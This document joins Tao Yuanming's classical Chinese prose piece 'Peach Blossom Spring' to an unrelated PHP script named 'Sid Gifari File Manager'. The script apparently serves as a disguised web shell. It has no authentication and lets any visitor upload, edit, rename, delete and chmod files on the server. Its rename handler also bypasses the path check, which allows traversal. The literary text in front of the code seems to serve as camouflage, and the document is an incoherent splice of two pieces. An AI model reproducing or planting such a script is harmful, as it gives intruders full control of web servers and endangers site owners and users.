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晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。
林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。
见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝)
既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。
南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。<?php
// ================= CONFIG =================
$ROOT = realpath(__DIR__); // Define the root directory
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?'); // Base URL without query parameters
// Secure path resolver
function safePath($path) {
global $ROOT;
$full = realpath($path);
return ($full && strpos($full, $ROOT) === 0) ? $full : false;
}
// Get current directory from query parameters
$path = $_GET['path'] ?? ''; // Path parameter for navigation
$currentDir = safePath($ROOT . '/' . $path) ?: $ROOT; // Resolve directory safely
// ================= ACTIONS =================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Handle file uploads
if (!empty($_FILES['files'])) {
foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
if ($tmp && is_uploaded_file($tmp)) {
$destination = $currentDir . '/' . basename($_FILES['files']['name'][$i]);
if (move_uploaded_file($tmp, $destination)) {
echo "File uploaded: " . basename($_FILES['files']['name'][$i]);
} else {
echo "Failed to upload: " . basename($_FILES['files']['name'][$i]);
}
}
}
}
// Handle new folder creation
if (!empty($_POST['newfolder'])) {
$newFolder = basename($_POST['newfolder']);
if (!file_exists($currentDir . '/' . $newFolder)) {
mkdir($currentDir . '/' . $newFolder, 0755);
}
}
// Handle new file creation
if (!empty($_POST['newfile'])) {
$filename = basename($_POST['newfile']);
$filepath = $currentDir . '/' . $filename;
if (!file_exists($filepath)) {
file_put_contents($filepath, ''); // Create an empty file
}
}
// Handle file/folder deletion
if (!empty($_POST['delete'])) {
$target = safePath($currentDir . '/' . $_POST['delete']);
if (is_file($target)) {
unlink($target); // Delete file
} elseif (is_dir($target)) {
rmdir($target); // Delete folder
}
}
// Handle renaming files/folders
if (!empty($_POST['old']) && !empty($_POST['new'])) {
$oldName = $currentDir . '/' . $_POST['old'];
$newName = $currentDir . '/' . $_POST['new'];
if (rename($oldName, $newName)) {
echo "Renamed successfully!";
}
}
// Handle chmod permissions change
if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
$target = safePath($currentDir . '/' . $_POST['chmod_file']);
if ($target) {
$mode = intval($_POST['chmod'], 8);
chmod($target, $mode);
}
}
// Handle file content editing
if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
$target = safePath($currentDir . '/' . $_POST['edit_file']);
if ($target && is_file($target)) {
file_put_contents($target, $_POST['content']);
}
}
// Redirect after POST action
header("Location: $BASE_URL?path=" . urlencode($path));
exit;
}
// ================= FILE LIST =================
$files = scandir($currentDir); // Get files and directories
// Edit file mode
$editMode = isset($_GET['edit']);
$editFile = $editMode ? $_GET['edit'] : '';
$editContent = '';
if ($editMode && $editFile) {
$target = safePath($currentDir . '/' . $editFile);
if ($target && is_file($target)) {
$editContent = htmlspecialchars(file_get_contents($target));
}
}
// Build path segments for navigation
$pathSegments = [];
if ($path) {
$segments = explode('/', trim($path, '/'));
$currentPath = '';
foreach ($segments as $segment) {
$currentPath .= '/' . $segment;
$pathSegments[] = [
'name' => $segment,
'path' => trim($currentPath, '/')
];
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sid Gifari File Manager</title>
<style>
body { font-family: Arial, sans-serif; background: #f5f5f5; }
.container { width: 90%; margin: auto; }
h2 { text-align: center; }
table { width: 100%; background: #fff; border-collapse: collapse; }
th, td { padding: 8px; border-bottom: 1px solid #ddd; }
a { text-decoration: none; color: #007bff; }
button { padding: 5px 10px; cursor: pointer; }
.drop { border: 2px dashed #999; padding: 20px; text-align: center; margin-bottom: 10px; }
.permissions-form { display: inline-block; margin-left: 5px; }
.chmod-input { width: 60px; padding: 2px; }
.path-nav { background: #fff; padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; }
.path-nav a { margin: 0 5px; color: #333; }
.path-nav a:hover { color: #007bff; }
.path-nav span.separator { margin: 0 5px; color: #999; }
</style>
</head>
<body>
<div class="container">
<h2>Sid Gifari File Manager</h2>
<?php if ($editMode && $editFile): ?>
<!-- EDIT FILE MODE -->
<div class="path-nav">
<a href="?">🏠 Root</a>
<?php foreach ($pathSegments as $segment): ?>
<span class="separator">/</span>
<a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
<?php endforeach; ?>
</div>
<h3>Editing: <?= htmlspecialchars($editFile) ?></h3>
<form method="post">
<input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
<textarea name="content" rows="20" style="width:100%; font-family: monospace"><?= $editContent ?></textarea><br><br>
<button type="submit">Save</button>
<a href="?path=<?= urlencode($path) ?>"><button type="button">Cancel</button></a>
</form>
<?php else: ?>
<!-- NORMAL MODE -->
<!-- Path Navigation Bar -->
<div class="path-nav">
<a href="?">🏠 Root</a>
<?php foreach ($pathSegments as $segment): ?>
<span class="separator">/</span>
<a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
<?php endforeach; ?>
</div>
<div class="drop">
<form method="post" enctype="multipart/form-data">
<input type="file" name="files[]" multiple>
<button>Upload</button>
</form>
</div>
<!-- Create Folder Form -->
<form method="post" style="display:inline-block; margin-right:10px">
<input name="newfolder" placeholder="New Folder Name">
<button>Create Folder</button>
</form>
<!-- Create File Form -->
<form method="post" style="display:inline-block">
<input name="newfile" placeholder="New File Name">
<button>Create File</button>
</form>
<table>
<tr><th>Name</th><th>Size</th><th>Permissions</th><th>Action</th></tr>
<?php foreach ($files as $f):
if ($f === '.' || $f === '..') continue;
$full = $currentDir . '/' . $f;
$perms = fileperms($full);
$permission = substr(sprintf('%o', $perms), -4);
?>
<tr>
<td>
<?php if (is_dir($full)): ?>
📁 <a href="?path=<?= urlencode(trim("$path/$f", '/')) ?>"><?= $f ?></a>
<?php else: ?>
📄 <a href="<?= trim("$path/$f", '/') ?>" target="_blank"><?= $f ?></a>
<?php endif; ?>
</td>
<td><?= is_file($full) ? number_format(filesize($full)) . ' bytes' : '-' ?></td>
<td>
<form method="post" class="permissions-form">
<input type="hidden" name="chmod_file" value="<?= htmlspecialchars($f) ?>">
<input type="text" name="chmod" value="<?= $permission ?>" class="chmod-input" placeholder="0755">
<button type="submit">Chmod</button>
</form>
</td>
<td>
<?php if (is_file($full)): ?>
<a href="?path=<?= urlencode($path) ?>&edit=<?= urlencode($f) ?>">
<button>Edit</button>
</a>
<?php endif; ?>
<form method="post" style="display:inline">
<input type="hidden" name="old" value="<?= htmlspecialchars($f) ?>">
<input type="text" name="new" placeholder="New name" style="width:120px">
<button type="submit">Rename</button>
</form>
<form method="post" style="display:inline">
<input type="hidden" name="delete" value="<?= $f ?>">
<button onclick="return confirm('Delete?')">❌</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</table>
<?php endif; ?>
</div>
</body>
</html>